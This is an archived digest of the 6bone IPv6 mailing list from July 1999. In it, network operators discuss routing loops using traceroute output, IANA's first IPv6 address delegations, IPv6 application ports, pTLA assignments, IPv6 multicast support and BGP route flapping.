Xavier Mertens,                 *  *     EuroNet Internet
Network Operation Center     *      *    a subsidiary of France Telecom
XM3-RIPE                   *


From 6bone-owner  Wed Jul 14 00:47:07 1999
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To: Richard Draves <richdr@microsoft.com>
cc: "'jane@ifi.uio.no'" <jane@ifi.uio.no>, "'6bone'" <6bone@ISI.EDU>
Subject: Re: 3ffe:2a00::/24 routing loop? 
In-reply-to: Your message of "Tue, 13 Jul 1999 08:54:10 PDT."
             <4D0A23B3F74DD111ACCD00805F31D81014515574@RED-MSG-50> 
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From: Trond Skjesol <Trond.Skjesol@uninett.no>
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During this period we had some routing problems with the routing into US, the 
problem was somewhere at Teleglobe. I guess thats why the 6bone routing also 
failed.

 -Trond


staff@nordu.net said:
> Ticket Number : NORDUnet/19990713-00   Ticket Status   : OPEN, UPDATED
> Ticket Type   : Unscheduled            Ticket Source   : KTHNOC
> Site/Line     : Most US sites unreachable
> Ticket Scope  : Routing                Ticket Priority : Normal
> Ticket Owner  : KTHNOC                 Ticket Issuer   : nnc@sunet.se
> Problem Fixer : N/A                    Time to Fix     : N/A                 
> Ticket Opened : 19990713 19:13 UTC     Problem Starts  : 19990713 17:20 UTC ?
>        Closed :                                 Ended  : 19990713 20:20 UTC ?

> Problem Description:

> 	Loss of routing to most US.

> Affected:

> 	All NORDUNet traffic to/from US

> Action:

> 	Contated Teleglobe (by fax!)

> Fix:

> 	Teleglobe (Mia) confirmed reception of fax at 19.20,
> 	handing the case to techn. staff.
> 	 	-----
> 	990713 20:50  Update by nnc@sunet.se
> 	  At 20:35 (UTC) Teleglobe called and told allocation
> 	  of Ticken-# 81844. Problem escalated to 1:st level
> 	  support for investignation.
>  	  GÅ told them that the problem is currently not there.
> 	  (since some 10-15 min.) They will continue to
> 	  investignate, and inform by E-Mail.




> Now the loop is:
> 
> tracert6 -d 3ffe:dfe:fffe::9
> 
> Tracing route to 3ffe:dfe:fffe::9
> over a maximum of 30 hops:
> 
>   1     1 ms    <1 ms     1 ms  3ffe:2a00:100:7031::1
>   2     3 ms     3 ms     3 ms  3ffe:2a00:100:7ffd::1
>   3    20 ms    19 ms    23 ms  3ffe:200:1:b::1
>   4    82 ms    69 ms    69 ms  3ffe:1d00:2:4::1
>   5    75 ms    68 ms     *     3ffe:200:1:2::2
>   6   105 ms   226 ms   163 ms  3ffe:1d00:2:4::1
>   7   199 ms   112 ms   122 ms  3ffe:200:1:2::2
>   8   167 ms   157 ms   188 ms  3ffe:1d00:2:4::1
>   9   171 ms   187 ms   196 ms  3ffe:200:1:2::2
>  10  ^C
> 
> >  -----Original Message-----
> > From: 	Richard Draves  
> > Sent:	Tuesday, July 13, 1999 8:33 AM
> > To:	'jane@ifi.uio.no'
> > Cc:	'6bone'
> > Subject:	3ffe:2a00::/24 routing loop?
> > 
> > It looks like there's a routing loop in the 3ffe:2a00::/24 
> > pTLA... see below.
> > I'm running in the IETF terminal room.
> > 
> > Thanks,
> > Rich
> > 
> > tracert6 -d 3ffe:dfe:fffe::9
> > 
> > Tracing route to 3ffe:dfe:fffe::9
> > over a maximum of 30 hops:
> > 
> >   1     1 ms    <1 ms    <1 ms  3ffe:2a00:100:7031::1
> >   2     3 ms     3 ms     3 ms  3ffe:2a00:100:7ffd::1
> >   3   177 ms   177 ms   182 ms  3ffe:2a00:100:7ffc::2
> >   4   183 ms   182 ms   181 ms  3ffe:2a00:100:7ffd::1
> >   5   356 ms   355 ms   349 ms  3ffe:2a00:100:7ffc::2
> >   6   358 ms   349 ms   355 ms  3ffe:2a00:100:7ffd::1
> >   7   542 ms   544 ms  ^C



From 6bone-owner  Wed Jul 14 04:37:23 1999
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From: Richard Draves <richdr@microsoft.com>
To: "'6bone'" <6bone@ISI.EDU>
Subject: RE: 3ffe:2a00::/24 routing loop?
Date: Wed, 14 Jul 1999 04:35:20 -0700
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Well, it's fixed at this moment:

tracert6 -d 3ffe:dfe:fffe::9

Tracing route to 3ffe:dfe:fffe::9
over a maximum of 30 hops:

  1     7 ms     1 ms     1 ms  3ffe:2a00:100:7031::1
  2     3 ms     3 ms     3 ms  3ffe:2a00:100:7ffd::1
  3    21 ms    19 ms    19 ms  3ffe:200:1:b::1
  4    69 ms    60 ms    68 ms  3ffe:1100:0:c06::1
  5   200 ms   199 ms   204 ms  3ffe:1100:0:f004::2
  6   197 ms   203 ms   199 ms  3ffe:1280:1001:1::1
  7   419 ms   417 ms   405 ms  3ffe:1001:1:f001::1
  8   971 ms   623 ms   980 ms  3ffe:dfe:fffe::9

Trace complete.

Thanks,
Rich

From 6bone-owner  Wed Jul 14 06:58:32 1999
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To: Xavier <xavier@euro.net>
Cc: 6bone@ISI.EDU
Subject: Re: IPv6 compliant applications?
References: <Pine.GSO.4.10.9907140805400.2847-100000@caolila>
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Date: 14 Jul 1999 09:58:23 -0400
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Xavier <xavier@euro.net> writes:
> Where can I find an index of IPv6 compliant applications (or patches,
> updates, ...) for Solaris?
> 
> Ex: Apache, lynx, wuftpd, ...

We have the beginnings of such a thing on www.ipv6.org, but it is
really only a beginning. We could use help in improving it...

Perry

From 6bone-owner  Wed Jul 14 12:25:12 1999
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Date: Wed, 14 Jul 1999 21:25:41 +0200
To: ngtrans@sunroof.eng.sun.com, 6bone@ISI.EDU, deployment@ipv6.org
From: Alain Durand <Alain.Durand@imag.fr>
Subject: IPv6 addresses
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Just a minute ago, IANA announced they've done the delegation of
blocks of IPv6 addresses to the registries.

This is a major step forward.

	- Alain.

From 6bone-owner  Wed Jul 14 13:19:59 1999
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From: Richard Draves <richdr@microsoft.com>
To: "'6bone'" <6bone@ISI.EDU>
Cc: "'Bertrand.Buclin@ch.att.com'" <Bertrand.Buclin@ch.att.com>,
        "'lalle@sics.se'" <lalle@sics.se>, "'ipv6@uk.uu.net'" <ipv6@uk.uu.net>
Subject: routing loops redux
Date: Wed, 14 Jul 1999 13:17:52 -0700
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This is in the terminal room again, using
3ffe:2a00:100:7031:280:c7ff:fe03:79a1 as my source address.

tracert6 -d 3FFE:1500::FFFE:0:0:2

Tracing route to 3ffe:1500::fffe:0:0:2
over a maximum of 30 hops:

  1     1 ms    <1 ms    <1 ms  3ffe:2a00:100:7031::1
  2     3 ms     4 ms     3 ms  3ffe:2a00:100:7ffd::1
  3    20 ms    19 ms    19 ms  3ffe:200:1:b::1
  4   160 ms   173 ms     *     3ffe:1d00:2:4::1
  5   156 ms   126 ms   224 ms  3ffe:200:1:2::2
  6   294 ms   352 ms   341 ms  3ffe:1d00:2:4::1
  7   317 ms   309 ms   361 ms  3ffe:200:1:2::2
  8   508 ms   455 ms   466 ms  3ffe:1d00:2:4::1
  9     *        *      446 ms  3ffe:200:1:2::2
 10   511 ms   576 ms   598 ms  3ffe:1d00:2:4::1
 11   455 ms   373 ms   772 ms  3ffe:200:1:2::2
 12     *      508 ms     *     3ffe:1d00:2:4::1
 13   357 ms   310 ms   439 ms  3ffe:200:1:2::2
 14   644 ms   670 ms   675 ms  3ffe:1d00:2:4::1
 15   735 ms   578 ms   570 ms  3ffe:200:1:2::2
 16     *      339 ms  1576 ms  3ffe:1d00:2:4::1
 17   812 ms     *        *     3ffe:200:1:2::2
 18  1145 ms     *     ^C

tracert6 -d 3ffe:dfe:fffe::9

Tracing route to 3ffe:dfe:fffe::9
over a maximum of 30 hops:

  1     1 ms    <1 ms    <1 ms  3ffe:2a00:100:7031::1
  2     3 ms     3 ms     3 ms  3ffe:2a00:100:7ffd::1
  3    20 ms    19 ms    19 ms  3ffe:200:1:b::1
  4    59 ms    59 ms    60 ms  3ffe:1100:0:c06::1
  5   198 ms   195 ms   197 ms  3ffe:1100:0:f004::2
  6   289 ms   288 ms   289 ms  3ffe:1100:0:cc07::2
  7   402 ms   389 ms   395 ms  3ffe:28ff:ffff:4::
  8     *        *        *     Request timed out.
  9     *        *        *     Request timed out.
 10   330 ms   331 ms   333 ms  3ffe:600:8000::19
 11   345 ms   363 ms   345 ms  3ffe:1100:0:c06::1
 12   482 ms   479 ms   627 ms  3ffe:1100:0:f004::2
 13   694 ms   572 ms   576 ms  3ffe:1100:0:cc07::2
^C

From 6bone-owner  Wed Jul 14 14:32:30 1999
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From: "Carlos Davila" <cdavila@metlife.com>
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Date: Wed, 14 Jul 1999 17:29:19 -0400
Subject: IPv6 compliant applications?
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I would like to know too.

Carlos
---------------------- Forwarded by Carlos Davila/Bsg/MetLife/US on 07/14/99
05:29 PM ---------------------------


"Xavier" <xavier@euro.net> on 07/14/99 02:07:31 AM

To:   6bone@ISI.EDU
cc:    (bcc: Carlos Davila/Bsg/MetLife/US)
Subject:  IPv6 compliant applications?



Hi,

Where can I find an index of IPv6 compliant applications (or patches,
updates, ...) for Solaris?

Ex: Apache, lynx, wuftpd, ...

Regards,
Xavier

--
Xavier Mertens,                 *  *     EuroNet Internet
Network Operation Center     *      *    a subsidiary of France Telecom
XM3-RIPE                   *









From 6bone-owner  Wed Jul 14 15:04:45 1999
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Subject: ["IANA" <iana@ISI.EDU>] Delegation of IPv6 address space
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--Multipart_Wed_Jul_14_18:04:09_1999-1
Content-Type: text/plain; charset=US-ASCII

And so it begins, at long last. 

<insert cheering here!>

Perry

[Please don't crosspost replies to this.]


--Multipart_Wed_Jul_14_18:04:09_1999-1
Content-Type: message/rfc822

From: "IANA" <iana@ISI.EDU>
To: <iana-announce@ISI.EDU>
Subject: Delegation of IPv6 address space
Date: Wed, 14 Jul 1999 12:32:07 -0700
Message-ID: <004801bece2f$8fe532e0$22a00980@icann1.isi.edu>

Internet Community,

After much discussion concerning the policy guidelines for the deployment of
IPv6 addresses, in addition to the years of technical development done
throughout the Internet community, the IANA has delegated the initial IPv6
address space to the regional registries in order to begin immediate
worldwide deployment of IPv6 addresses.

We would like to thank the current Regional Internet Registries (RIR) for
their invaluable work in the construction of the policy guidelines, which
seem to have general consensus from the Internet community.  We would also
like to thank the efforts of the IETF community and the support of the IAB
in making this effort a reality.

If you have further questions concerning this issue, please contact your
RIR, or you may also contact the IANA at iana@iana.org.

The policy guidelines can be found online at one of the Regional Internet
Registries:

	http://www.apnic.net
	http://www.arin.net
	http://www.ripe.net

This is an historic moment in the continued development of the Internet.

Thank you for your valuable support and participation in the Internet
community.

Josh Elliott
On Behalf of the IANA Staff









--Multipart_Wed_Jul_14_18:04:09_1999-1--

From 6bone-owner  Wed Jul 14 16:39:18 1999
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CC: ngtrans@sunroof.eng.sun.com, 6bone@ISI.EDU, deployment@ipv6.org
Subject: Re: IPv6 addresses
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Alain Durand wrote:
> 
> Just a minute ago, IANA announced they've done the delegation of
> blocks of IPv6 addresses to the registries.
> 
> This is a major step forward.
> 
>         - Alain.

I am already trying to raise info from my regional IR.

D

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From: =?iso-8859-1?Q?Fernando_Mendon=E7a?= <nandom@ruralrj.com.br>
To: <ngtrans@sunroof.eng.sun.com>, <6bone@ISI.EDU>, <deployment@ipv6.org>,
        "Alain Durand" <Alain.Durand@imag.fr>
References: <4.2.0.56.19990714212237.00aab3c0@brahma.imag.fr>
Subject: Re: IPv6 addresses
Date: Wed, 14 Jul 1999 21:00:48 -0300
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Por favor,

Me excluam desta lista. É um endereço comercial.

Valeu !!!!

Abraços,

Fernando



From 6bone-owner  Wed Jul 14 23:51:54 1999
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Date: Thu, 15 Jul 1999 08:51:31 +0200
To: Carlos Davila <cdavila@metlife.com>, 6bone <6bone@ISI.EDU>
From: "Steinar H. Gunderson" <sgunderson@bigfoot.com>
Subject: Re: IPv6 compliant applications?
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At 17:29 14.07.99 -0400, Carlos Davila wrote:
>I would like to know too.

ATM, it isn't so easy to _make_ IPv6 compliant programs... At least for
Linux, there are at least two different libraries available, and lots of
other hassle. It could be interesting, though... Being among the first here
would be an advantage :-) Any links to programming information? (I remember
seing this in a FAQ once, but it wasn't very helpful.)

/* Steinar */


From 6bone-owner  Thu Jul 15 02:16:02 1999
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Date: Thu, 15 Jul 1999 01:50:23 -0700
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: 6TAP router operational
Cc: Bill Manning <bmanning@ISI.EDU>
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During the 5 weeks I was on vacation, ESnet staff installed and configured the 6TAP router at the StarTAP in Chicago. During this process, the ESnet folk decided that it would be most appropriate to not have the 6TAP routing domain be part of ESnet's routing domain. Thus I agreed to assign a separate pTLA (this by phone as I was out of email contact). I did not feel that this would be an issue for the 6bone community as the 6TAP represents a public, no cost, native interconnect and transit domain for IPv6 networks.

The 6TAP pTLA assigned is: 3FFE:3900::0/24 

In addition, ESnet assigned an AS number to the 6TAP: AS3425


I would like to thank the ESnet folk for moving ahead aggressively on this phase of the 6TAP project. Native IPv6 interconnect and transit is an important next phase of early production IPv6 deployment.

CANARIE, ESnet's partner on the 6TAP project, will be moving ahead in coming months in getting an IPv6 Route Server up at the 6TAP.

In addition, an effort is now underway to provide a native 2 mbps IPv6 path between the 6TAP in Chicago and the Amsterdam IPv6 Exchange.

More info on the 6TAP and related projects will follow as they happen.


Thanks,

Bob


---
Bob will be on travel from June 9 until the Oslo IETF meeting (July 11-16), and will not be responsive to email until July 21. Please direct 6bone & ngtrans questions to Alain Durand <Alain.Durand@imag.fr>.

From 6bone-owner  Thu Jul 15 03:32:43 1999
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Date: Thu, 15 Jul 1999 03:28:49 -0700
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: Re: pTLA request for APAN-KR
Cc: Woohyong Choi <whchoi@cosmos.kaist.ac.kr>, ksbn@kt.co.kr
In-Reply-To: <19990628201721.A47456@cosmos.kaist.ac.kr>
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6bone Folk,

Per the request from Woohyong Choi (below), I'm opening a two week window for the review of a pTLA for APAN-KR. I will close this on 30 July 99. 

Note that this will be a /28 pTLA assignment.


Thanks, 
Bob 


===
At 08:17 PM 6/28/99 +0900, Woohyong Choi wrote:
>Hi,
>
>This is a pTLA request for APAN-KR (Asia Pacific Advanced
>Network - Korea).  APAN-KR is a domestic network within
>Korea established to provide high performance connectivity
>among its R&E member institutions and to other networks
>connected to APAN.
>
>http://noc.kr.apan.net/
>
>IPv6 deployment is one of the projects within APAN-KR.
>We currently have four participants which we expect to
>glow to include many of APAN-KR member institutions.
>
>Initial members are
>
>  KAIST (Korea Advanced Institute of Science and Technology)
>  KT (Korea Telecom Research Labs)
>  SNU (Seoul National University)
>  ETRI (Electronics Technology Research Institute)
>
>We have ATM PVC based native v6 links and tunnel based
>(for those who don't have atm interface in their routers)
>links among these institutions.
>
>We have an ATM PVC link to WIDE through APAN ATM
>infrastructure (peering with BGP4+), and in the process
>of establishing another ATM PVC to 6TAP through
>APAN and TransPAC to participate in 6REN activities.
>
>Currently we're using a block delegated from WIDE pTLA.
>We hope to get allocated a new pTLA for independent routing
>as we are preparing a direct link to 6TAP.
>
>We understand the routing practices documented in RFC2546
>and have been following the rules during the past.
>
>We also believe that we meet the requirements listed
>in Section 7 of the document.
-end


---
Bob will be on travel from June 9 until the Oslo IETF meeting (July 11-16), and will not be responsive to email until July 21. Please direct 6bone & ngtrans questions to Alain Durand <Alain.Durand@imag.fr>.

From 6bone-owner  Thu Jul 15 17:04:41 1999
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To: "Carlos Davila" <cdavila@metlife.com>
cc: <6bone@ISI.EDU>
Subject: Re: IPv6 compliant applications? 
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             <852567AE.00758972.00@metlife.com> 
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>I would like to know too.

>Where can I find an index of IPv6 compliant applications (or patches,
>updates, ...) for Solaris?

>Ex: Apache, lynx, wuftpd, ...

Do you mean IPv6 "ported" or "aware" applications.  There are no
tests to compliancyy at this point?   

/jim

From 6bone-owner  Thu Jul 15 21:51:40 1999
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Date: Fri, 16 Jul 1999 06:51:12 +0200 (MET DST)
From: Xavier <xavier@euro.net>
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Subject: Re: IPv6 compliant applications? 
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On Wed, 14 Jul 1999 itojun@iijlab.net wrote:

> >Where can I find an index of IPv6 compliant applications (or patches,
> >updates, ...) for Solaris?
> >Ex: Apache, lynx, wuftpd, ...
> 
> 	The best starting point is www.ipv6.org.  My personal collection is in
> 	ftp://ftp.kame.net/pub/kame/misc/. (the server is down this week so
> 	please use the mirror.  mirrors are listed in
> 	ftp://powercut.kame.net/README or ftp://ftp.kame.net/README)

Well, very nice patches source!
I tried to patch lynx 2.8.1 on Solaris but I can't get a working lynx.
Does somebody has an binary available?

Xavier

--
Xavier Mertens,                 *  *     EuroNet Internet
Network Operation Center     *      *    a subsidiary of France Telecom
XM3-RIPE                   *


From 6bone-owner  Thu Jul 15 23:20:54 1999
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Date: Fri, 16 Jul 1999 16:21:46 +1000 (EST)
From: Bruce Campbell <bruce.campbell@apnic.net>
To: 6bone@ISI.EDU
Subject: Re: we need better "join the 6bone tools"
In-Reply-To: <87g12xmtvx.fsf@jekyll.piermont.com>
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On 9 Jul 1999, Perry E. Metzger wrote:

(first time I replied to this it wasn't back to the list)

perry> It has become apparent that we need some better tools for helping
perry> organizations trying to play with v6 find 6bone connectivity. The

APNIC (well, myself) currently maintains a list of basic information about
various countries beneath http://www.apnic.net/maps/ .  As part of this,
I've taken the liberty of adding[1] a list of 6bone sites in each of
APNIC's countries[2] to the above url.

Regards,

-- 
  Bruce Campbell <bruce.campbell@apnic.net>                +61-7-3367-0490
                 Systems Administrator (#2)     Regional Internet Registry
    Asia Pacific Network Information Centre    For the Asia Pacific Region

[1] Currently in the middle thereof.
[2] AF,AS,AU,BD,BN,IO,BN,KH,CN,CX,CC,KM,CK,TP,FJ,PF,TF,GU,HK,IN,ID,JP,KI,
    KP,KR,LA,MO,MG,MY,MV,MH,MU,YT,FM,MN,MM,NR,NP,NC,NZ,NU,NF,MP,PK,PW,PG,
    PH,PN,RE,WS,SC,SG,SB,LK,TW,TH,TK,TO,TV,VU,VN and WF




From 6bone-owner  Fri Jul 16 12:33:31 1999
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Date: Fri, 16 Jul 1999 10:54:34 -0400
From: Isabelle Labbe <isabelle.labbe@crc.ca>
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Subject: IPv6 multicast on the 6bone
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I would like to find out more about the current state of IPv6 multicast
routing on the 6bone?  My understanding is that very little
implementations of IPv6 multicast routing protocols (e.g. PIMv6) exist. 
Our site connection to the 6bone is done through a Cisco IPv6 router. 
Cisco has currently no provision for IPv6 multicast routing.  If I wish
to test an IPv6 multicast application on the 6bone, is it possible at
all through tunneling? Are there any package such as mrouted (used on
the mbone) that has been ported to IPv6? What are the current solutions
to forward IPv6 multicast on the 6bone?

Isabelle Labbe
	
-- 
Isabelle Labbe	   	      		isabelle.labbe@crc.ca
Communications Research Centre          http://www.crc.ca
3701 Carling Av.
P.O.Box 11490 Stn. H, Ottawa,  ON  CANADA  K2H 8S2
phone(office): (613) 990-8777
Fax          : (613) 998-9648

From 6bone-owner  Sat Jul 17 06:18:51 1999
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From: Francis Dupont <Francis.Dupont@inria.fr>
To: Isabelle Labbe <isabelle.labbe@crc.ca>
cc: 6bone@ISI.EDU
Subject: Re: IPv6 multicast on the 6bone 
In-reply-to: Your message of Fri, 16 Jul 1999 10:54:34 EDT.
             <378F47AA.4D63453B@crc.ca> 
Date: Sat, 17 Jul 1999 15:07:11 +0200
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 In your previous mail you wrote:

   I would like to find out more about the current state of IPv6 multicast
   routing on the 6bone?

=> there is no IPv6 multicast routing on the 6bone because of the lack
of it on Cisco routers...

   My understanding is that very little
   implementations of IPv6 multicast routing protocols (e.g. PIMv6) exist. 
 
=> We ("INRIA") have a PIMv6 DM which seems to be now uptodate and fixed
(even a little tested :-). I know there are other PIMv6, even some partial
Sparse-Mode (KAME, Telebit DK, ...).

   Our site connection to the 6bone is done through a Cisco IPv6 router. 
   Cisco has currently no provision for IPv6 multicast routing.

=> this is the reason why IPv6 multicast routing is not used.

   If I wish to test an IPv6 multicast application on the 6bone, is it
   possible at all through tunneling?

=> DVMRP has no IPv6 reason and tunnels defeat RPF checks then this is
not a really usable solution...

   Are there any package such as mrouted (used on
   the mbone) that has been ported to IPv6? What are the current solutions
   to forward IPv6 multicast on the 6bone?
   
=> avoid Cisco routers or wait for IPv6 multicast in IOS... (:-)
I believe IPv6 multicast will not be used on large scale before several
months.

Regards

Francis.Dupont@inria.fr

From 6bone-owner  Mon Jul 19 04:24:12 1999
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From: "Latif LADID ( latif.ladid@tbit.dk)" <Latif.LADID@village.uunet.lu>
To: "6bone@ISI.EDU" <6bone@ISI.EDU>,
        "deployment@ipv6.org"
	 <deployment@ipv6.org>
Cc: "'Patrick Cocquet'" <patrick.cocquet@detexis.thomson-csf.com>
Subject: Global IPv6 Summit - Paris - Agenda on email
Date: Mon, 19 Jul 1999 13:24:16 +0200
Organization: Telebit Communications A/S
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Please find attached the draft agenda of the first IPv6 Forum Summit
under the double theme of:

- IPv6 Around the World and
- Call for IPv6 Growth

- Date : October 6-8, 99

- Place: Paris

- Organisor: Patrick Cocquet at Thomson CSF- Detexis

We would like to call for more speakers on IPv6-based solutions for the
open slots. Please, address your interest directly to Patrick.

A logistics message will follow regarding hotel, registration, sponsorship
and exhibition facilities.

Thanks for your active participating making IPv6 happen around the world!

Regards,

Latif
Patrick

Global IPv6 Summit

Jouy-en-Josas near PARIS (France), October 6-8, 99

Advanced Program ( Call For Speakers )

Day 1 October 6	0830 - 0930	Registration	
	
0930	    Opening Plenary	

0930 - 0950
Welcome session Thomson-CSF welcome,(TBA)                IPv6 Forum Chairperson 
welcome, Latif Ladid, Telebit 	

0950 - 1100
New Internet - Key-Note Speeches  	

- French Ministry's Vision, (TBA)
- Christian HUITEMA's Vision
- Vint CERF's Vision  	

Coffee	1100 - 1130		

1130 - 1245	
IPv6 Clearly Explained

Chairperson : Patrick Cocquet, Thomson-CSF Detexis
- Why do we need IPv6, (G6 member, TBA)
- Standardisation status, (G6 member, TBA)
Questions & Answers	

Lunch	1245 - 1415		
1415 - 1600	

IPv6 Succes Stories Around the World

Chairperson : TBA
- Norway, Haakon Bryhni, Thomson-CSF Norcom
- Japan, Jun Murai, Wide Japan (TBC)
- France, TBA, France Telecom CNET
- Canada, Marc Blanchet, Viagenie inc.
Questions & Answers	

Coffee	1600 - 1615		

1615 - 1745	IPv6 FORUM

Chairperson : TBA
Goals and organisation, Latif Ladid
IPv6 Forum Promotion group, WG leaders
IPv6 Forum Deployment group, Jim Bound
Questions & Answers	

Close	1745		
			
1900	Jazz Night Dinner	

Day 2 October 7

0830 - 0900	Registration	
0900	New Internet deployment (Stream 1)

Learn about the applications that will help sell IPv6	
Stream 1 	
0900 - 1030
Calling for IPv6 Growth

Chairperson : TBA
-Quality of Service for the new IP Networks, Serge Fdida, LIP6, @IRS Project 
-IPv6 Multicast, the future challenge, (TBA)
-IPSEC, the IPv6 solution, TBA, Thomson-CSF Detexis
Questions & Answers	

Coffee	1030 - 1100		

Stream 1
1100 - 1230
Calling for IPv6 Growth contd.

Chairperson : TBA
-IPv6 for future wireless networks, (TBA)
-IPv6 for Telephony Services, (TBA)
-IPv6 for future ISP Services, (TBA) Questions & Answers	

Lunch	1230 - 1400		
Stream 1 	
1400 - 1530	
Calling for IPv6 Growth contd.

Chairperson : TBA
-IPv6 in the sky, Gilles Gawinowsky, Eurocontrol, COIAS Project
-IPv6 in military systems, (TBA)
-IPv6 for professional applications: (TBA)
Questions & Answers	

Coffee	1530 - 1600		
1600 - 1700
Plenary Information on IPv6 Forum	
	
 Information Points manned by relevant experts will be available for delegates 
to come and discuss IPv6 related issues.  These will include :-
	
-Forum Membership and Constitution Latif Ladid, Telebit 	
-IPv6 Projects Patrick Cocquet, Thomson-CSF Detexis	
-Deployment Issues Jim Bound, 	
-Promotion Issues TBA	
-Education and Awareness Program TBA
-Standards issues TBA 	
			
1700 - 1745	
Closing Plenary
Chairperson: IPv6 Forum Chairperson - Latif Ladid, Telebit
Round table with speakers and Forum working groups leaders	
Close	1745		
			
1900	Paris by Night Dinner on a Ship on the Seine	

Day 2
October 7
IPv6 Forum Members Only (stream 2)	
	
0900	
IPv6 Promotion / Deployment Projects
Working Sessions for Forum Members and Observers	

0900 - 1030
 IPv6 Promotion Groups and IPv6 Deployment Groups working in parallel 	

Coffee	1030 - 1100		

1100 - 1230	
IPv6 Promotion Groups and IPv6 Deployment Groups working in parallel 	

Lunch	1230 - 1400		

1400 - 1545
IPv6 Promotion Groups and IPv6 Deployment Groups Debriefing Session 	
					

Day 3

October 8	0830 - 0900	Registration	

0900	
IPv6 Forum Members Plenary  (Stream 2)
Chairperson: IPv6 Forum Chairperson - Latif Ladid, Telebit	

0900 - 1030
 Presentation of Results of IPv6 Promotion and IPv6 Deployment Groups 	

Coffee	1030 - 1100		

1100 - 1230
Presentation of Results of IPv6 Promotion and Deployment Groups

- Results of voting on board
- IPv6 Success Story / Applications Challenge Competition results
- Closing remarks and thanks 	

Lunch	1230 - 1400		

Close	1400		


R,
/Latif


From 6bone-owner  Mon Jul 19 05:17:38 1999
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Date: Mon, 19 Jul 1999 08:17:29 -0400
From: Brian Haberman <haberman@raleigh.ibm.com>
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To: Isabelle Labbe <isabelle.labbe@crc.ca>
CC: 6bone@ISI.EDU
Subject: Re: IPv6 multicast on the 6bone
References: <378F47AA.4D63453B@crc.ca>
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Isabelle,
     There are only a few code bases that have any IPv6 multicast
support as Francis pointed out.  In addition, IBM and Lixia Zhang's
lab at UCLA have implementations of PIM-DM for IPv6.  Microsoft has
support for MLD for workstations.  So your best bet right now is to
try and work with one of those code bases.

     One of the work items that came out of this IETF is to bolster 
the work going on with multicast and IPv6.  Hopefully, I will have
additional news in the coming weeks about this effort.

Brian Haberman


Isabelle Labbe wrote:
> 
> I would like to find out more about the current state of IPv6 multicast
> routing on the 6bone?  My understanding is that very little
> implementations of IPv6 multicast routing protocols (e.g. PIMv6) exist.
> Our site connection to the 6bone is done through a Cisco IPv6 router.
> Cisco has currently no provision for IPv6 multicast routing.  If I wish
> to test an IPv6 multicast application on the 6bone, is it possible at
> all through tunneling? Are there any package such as mrouted (used on
> the mbone) that has been ported to IPv6? What are the current solutions
> to forward IPv6 multicast on the 6bone?
> 

-- 
*-----------------------------------   ----------------------------*
| Brian K. Haberman                /  /                            |
| Remote Access Products           \  \  A simple man, a simple    |
| IBM Research Triangle Park, NC   /  /  plan.  The world's too    |
| Internal Phone : 8-444-2673      \  \  big to understand.        |
| External Phone : (919) 254-2673  /  /      -- J. Buffett         |
| email : haberman@raleigh.ibm.com \  \                            |
*-----------------------------------   ----------------------------*

From 6bone-owner  Mon Jul 19 10:05:35 1999
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To: 6BONE List <6bone@ISI.EDU>
Cc: heermann@ISI.EDU
Cc: ipma-support@merit.edu
Subject: Re: 07/01/99 6Bone Routing Report
In-Reply-To: <19990719104152B.masaki@merit.edu>
References: <19990704095603M.masaki@merit.edu>
	<Pine.GSO.4.00.9907191000590.29470-100000@ale.east.isi.edu>
	<19990719104152B.masaki@merit.edu>
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Date: Mon, 19 Jul 1999 13:05:26 -0400
From: Masaki Hirabaru <masaki@merit.edu>
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Hi. 6bone folks,

This issue looks like a matter local to some sites, but I'm
bringing up this because I'm not sure where it's generated.

Merit has been receiving 1000::/3 and 0000::/0 since July 1st.
They are out of the 6bone prefix, so they should not be. But, the
problem I want to say is not such a thing. I don't want to solve
this just by filtering out them. (Merit doesn't accept such a
route with an as path loop, anyway.)

The AS path of them is "1225 33 109 237 7081", where 7081 -
CAIRN, 237 - Merit, 109 - CISCO, 33 - DEC-CA, 1225 - CICNET.

As long as I checked over the BGP session logs that record all
BGP packets received here, Merit (AS 237) didn't have the routes
from CAIRN (AS 7081). According to our routing daemon's internal
log, it didn't announce the routes to CISCO (AS 109). However, it
received the routes as if they were originated from CAIRN through
Merit.

Moreover, this routes are flapping. They are only alive for a
second. Withdrawals follow right after the announcements that
happen once every 10 or 20 minutes.

This doesn't seem to cause something wrong for now, but I'd let
you know what's being seen.

BTW, there are also similar flapping routes that look from WIDE
Project and contribute great increase of IPv6 traffic on 6bone.

  0000::/0 path 109 2500 2500 2500 2500 2500 (WIDE)
  1800::/4 path 109 2500 2500 2500 2500 2500 (WIDE)
1.  (0000::/0) had 93371 BGP+ updates (18 unique aspaths)
2.  (1800::/4) had 87912 BGP+ updates (16 unique aspaths)

Thanks,
Masaki

>> From: Masaki Hirabaru <masaki@merit.edu>
>> Subject: Re: 07/01/99 6Bone Routing Report
>> Date: Mon, 19 Jul 1999 10:41:52 -0400
>> Message-ID: <19990719104152B.masaki@merit.edu>
>>
>> I restarted about 45 hours ago, but the same thing is happening.
>> I'm going to bring up this issue to 6bone mailing-list. -- Masaki
>> 
>> >> From: Chris Heermann <heermann@EAST.ISI.EDU>
>> >> Subject: Re: 07/01/99 6Bone Routing Report
>> >> Date: Mon, 19 Jul 1999 10:27:11 -0400 (EDT)
>> >> Message-ID: <Pine.GSO.4.00.9907191000590.29470-100000@ale.east.isi.edu>
>> >>
>> >> 
>> >> Hi Masaki,
>> >> 
>> >> I hope I'm not being a pain, but I wanted to ping you about restarting
>> >> your BGP session with AS 1225 (cicnet). Can you please tell me how this
>> >> goes?
>> >> 
>> >> thanks,
>> >> Chris
>> >> 
>> >> On Sun, 4 Jul 1999, Masaki Hirabaru wrote:
>> >> 
>> >> > Hi. Chris,
>> >> > 
>> >> > I searched 1000::/3 in our dump data on July 1st. I couldn't find
>> >> > the beginning of announcements of 1000::/3. If you announced the
>> >> > route on that day, it should be recorded on this router with as
>> >> > path "237 7081".
>> >> > 
>> >> > Currently, we don't have 1000::/3 in our routing table, but AS
>> >> > 1225 (cicnet) says it comes through us (originated by CAIRN).
>> >> > According to MRTd's internal status, our router has never
>> >> > announced 1000::/3 to AS 109 (cisco) since the BGP session
>> >> > started 51 hours ago with cisco. 1000::/3 is flapping and I
>> >> > suspect something wrong along with the path.
>> >> > 
>> >> > Since July 1st, 1000::/3 has been announced as this and kept
>> >> > flapping. MRTd doesn't accept (but record) this announcement,
>> >> > because it detects a loop in the as path.
>> >> > 
>> >> > I could remove this by restarting a BGP session with cisco and/or
>> >> > cicnet, but I'll do that after I'm back from my vacation.
>> >> > 
